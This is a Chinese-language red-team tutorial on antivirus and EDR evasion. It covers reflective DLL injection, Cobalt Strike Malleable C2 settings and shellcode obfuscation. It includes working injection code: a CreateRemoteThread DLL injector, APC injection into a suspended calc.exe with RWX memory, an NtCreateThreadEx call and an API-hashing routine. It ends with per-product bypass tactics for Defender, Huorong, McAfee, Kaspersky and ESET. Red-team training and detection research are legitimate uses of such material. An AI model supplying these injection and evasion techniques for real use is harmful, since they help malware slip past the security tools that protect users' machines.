红队开发基础-基础免杀(四)
字数 1807 2025-08-26 22:11:23
红队开发基础:反射型DLL注入与柔性加载技术详解
1. 反射型DLL注入技术
1.1 传统DLL注入的问题
传统DLL注入方法存在几个高危特征点:
int main(int argc, char *argv[]) {
HANDLE processHandle;
PVOID remoteBuffer;
wchar_t dllPath[] = TEXT("C:\\experiments\\evilm64.dll");
printf("Injecting DLL to PID: %i\n", atoi(argv[1]));
processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof dllPath, MEM_COMMIT, PAGE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)dllPath, sizeof dllPath, NULL);
PTHREAD_START_ROUTINE threatStartRoutineAddress = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
CreateRemoteThread(processHandle, NULL, 0, threatStartRoutineAddress, remoteBuffer, 0, NULL);
CloseHandle(processHandle);
return 0;
}
高危特征分析:
- 从磁盘读取DLL需要考虑静态免杀
- 使用
GetProcAddress获取LoadLibraryW函数地址,这种调用模式容易被AV/EDR检测 CreateRemoteThread进行远程线程注入行为本身就很可疑- 参数为
LoadLibraryW的地址,特征明显
1.2 反射型DLL注入原理
反射型DLL注入的核心思想是自己实现LoadLibrary功能,直接从内存加载DLL而不依赖系统API。
实现流程:
- 将DLL写入目标进程内存
- 调用DLL中的
ReflectiveLoader函数(自定义的加载器) ReflectiveLoader完成以下工作:- 解析所需API地址
- 将DLL及其节写入内存
- 建立导入表
- 修复重定位表
- 调用DLL入口点
1.3 具体实现步骤
1.3.1 加载器部分
-
Shellcode解密:
- 使用AES等加密算法加密payload
- 运行时解密载入内存
-
获取ReflectiveLoader偏移:
// 计算ReflectLoader函数在内存中的偏移 DWORD dwReflectiveLoaderOffset = GetReflectiveLoaderOffset(pLibraryBuffer); -
调用ReflectiveLoader:
// 创建线程调用ReflectLoader函数 lpReflectiveLoader = (LPTHREAD_START_ROUTINE)((ULONG_PTR)pLibraryBuffer + dwReflectiveLoaderOffset); hThread = CreateThread(NULL, 0, lpReflectiveLoader, lpParameter, 0, NULL);
1.3.2 DLL部分 - ReflectiveLoader功能
-
解析所需API地址:
- 通过函数hash在内存中搜索关键API(如VirtualAlloc、LoadLibraryA等)
- 避免直接调用
GetProcAddress
函数hash示例:
// 计算函数hash的算法 DWORD hash = 0; while (*name) { hash = ((hash << 13) | (hash >> 19)) ^ *name++; } -
内存写入DLL:
- 将DLL及其节按PE结构要求写入分配的内存
-
建立导入表:
- 解析DLL的导入表
- 获取依赖DLL(如ntdll.dll、kernel32.dll)的API地址
-
修复重定位表:
- 根据DLL的实际加载地址调整重定位项
- 确保代码中的地址引用正确
-
调用DLL入口点:
- 最终调用DllMain执行恶意代码
2. 柔性加载技术
柔性加载(Malleable C2)是Cobalt Strike提供的一种配置文件技术,用于定制Beacon的行为特征。
2.1 推荐配置
set startrwx "false"; // 禁止初始内存为RWX
set userwx "false"; // 禁止用户模式内存为WX
set cleanup "true"; // 启用内存清理
set stomppe "true"; // 启用PE文件头混淆
set obfuscate "true"; // 启用混淆
set sleep_mask "true"; // 启用睡眠时内存混淆
set smartinject "true"; // 启用智能注入
2.2 内存属性控制
- 避免使用RWX(可读可写可执行)内存区域
- 使用RefleXXion工具实现内存加密:
- 方法1:将shellcode加密并使属性为RW或RX
- 方法2:将内存设为NO_ACCESS并通过异常处理还原
3. 免杀实践技巧
3.1 Shellcode混淆技术
-
Base64+XOR混淆:
std::string rest2_reference = "xxx@@"; std::string rest3_reference = replace(rest2_reference, ...); -
分片写入技术:
- 将shellcode分片写入连续内存
- 避免大块可执行内存特征
3.2 注入技术选择
-
避免CreateRemoteThread:
// 使用APC和创建进程的方式 SIZE_T shellSize = 4096; STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; CreateProcessA("C:\\Windows\\System32\\calc.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi); HANDLE victimProcess = pi.hProcess; HANDLE threadHandle = pi.hThread; LPVOID shellAddress = VirtualAllocEx(victimProcess, NULL, shellSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); PTHREAD_START_ROUTINE apcRoutine = (PTHREAD_START_ROUTINE)shellAddress; WriteProcessMemory(victimProcess, shellAddress, exec, shellSize, NULL); QueueUserAPC((PAPCFUNC)apcRoutine, threadHandle, NULL); ResumeThread(threadHandle); -
使用原生系统调用(Native API):
// 使用NtCreateThreadEx替代CreateRemoteThread ANtCTE(&hThread, THREAD_ALL_ACCESS, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)exec, NULL, NULL, 0, 0, 0, nullptr); WaitForSingleObject(hThread, INFINITE);
3.3 流量特征隐藏
-
设置流量白名单:
- 限制C2通信的目标IP和端口
- 使用合法的域名进行通信
-
加密通信内容:
- 使用强加密算法保护C2通信
- 避免明文协议特征
4. 对抗不同EDR的策略
4.1 火绒/Defender
- 使用Base64+XOR混淆shellcode
- 避免直接出现明显的恶意API调用模式
- 分片写入内存技术有效
4.2 McAfee
- 反射加载技术有效
- 配合内存属性控制
4.3 Kaspersky Endpoint
- 避免使用常规注入技术
- 使用APC和进程创建方式
- 注意网络通信特征
4.4 ESET Endpoint Security
- 使用RefleXXion工具的内存加密技术
- 方法1:RW或RX属性+加密
- 方法2:NO_ACCESS+异常处理(但可能导致功能问题)
- 严格控制网络流量特征
5. 总结与进阶方向
5.1 技术总结
- 反射型DLL注入避免了传统注入的可疑行为
- 柔性加载配置可以降低内存和行为特征
- 不同的EDR需要针对性的绕过策略
- 用户态技术已能绕过大多数AV/EDR
5.2 进阶方向
-
内核层面绕过:
- 对抗炭黑、FireEye等高级EDR
- 驱动级对抗技术
-
流量层面免杀:
- 更隐蔽的C2通信协议
- 流量混淆技术
-
行为混淆:
- 更真实的进程行为模拟
- 减少可疑API调用